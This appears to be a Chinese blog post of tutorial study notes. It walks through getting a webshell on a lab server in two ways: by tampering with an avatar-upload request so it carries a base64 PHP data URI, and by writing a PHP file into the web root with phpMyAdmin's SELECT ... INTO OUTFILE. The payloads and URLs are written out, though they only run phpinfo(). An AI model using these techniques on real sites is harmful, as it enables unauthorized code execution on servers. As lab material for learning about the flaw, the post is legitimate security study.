.sql文件_某教程学习笔记(一):19、任意文件上传和sql语句拿shell

毕业时,门卫大爷收走了那辆自行车,问我都那么破了,还拍照干什么,他哪里知道后座上曾坐过陪了我四年的姑娘。。。

---- 网易云热评

一、任意上传文件拿shell

1、注册账号

56a2a1a239b1189d9429b2ef927d4347.png

2、上传头像

7e770d934b6f5e0971bec6c98750c72d.png

3、上传任意文件,抓包分析

f0c25c3a9ac5dca801e3ea9bde6b0a24.png

05a698dbc42020762a3abc6a8ab689dc.png

将tx后面的内容修改为tx=data%3Aimage%2Fphp%3Bbase64%2CPD9waHANCiBwaHBpbmZvKCk7IA0KPz4%3D

解密收的内容为:data:image/php;base64,<?php phpinfo();?>,也就是上传一个文件内容为<?php phpinfo();?>的php文件

4、虽然提示报错,但是我们访问上传后的地址: http://192.168.171.128/uploadfile/member/3/0x0.php ,文件已生效

359e3c77aedbd94bfae2679a5e842fbd.png

98d7e98646d7a442440322c657266dcb.png

二、sql命令拿shell

1、进入phpmyadmin页面

a7a69c784a4a3e3daf866b78432af09b.png

2、输入一下sql语句并执行,生成一aiyou.php文件,内容为<?php phpinfo();?>

select "<?php phpinfo();?>" into outfile "C:/phpStudy/PHPTutorial/WWW/aiyou.php"

78db6beb6a058a2e7ab9b69e233eea92.png

3、访问该文件 http://192.168.171.128/aiyou.php

20353e37d657c0fcead57f3aaa53a8c3.png

禁止非法,后果自负

欢迎关注公众号:web安全工具库

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值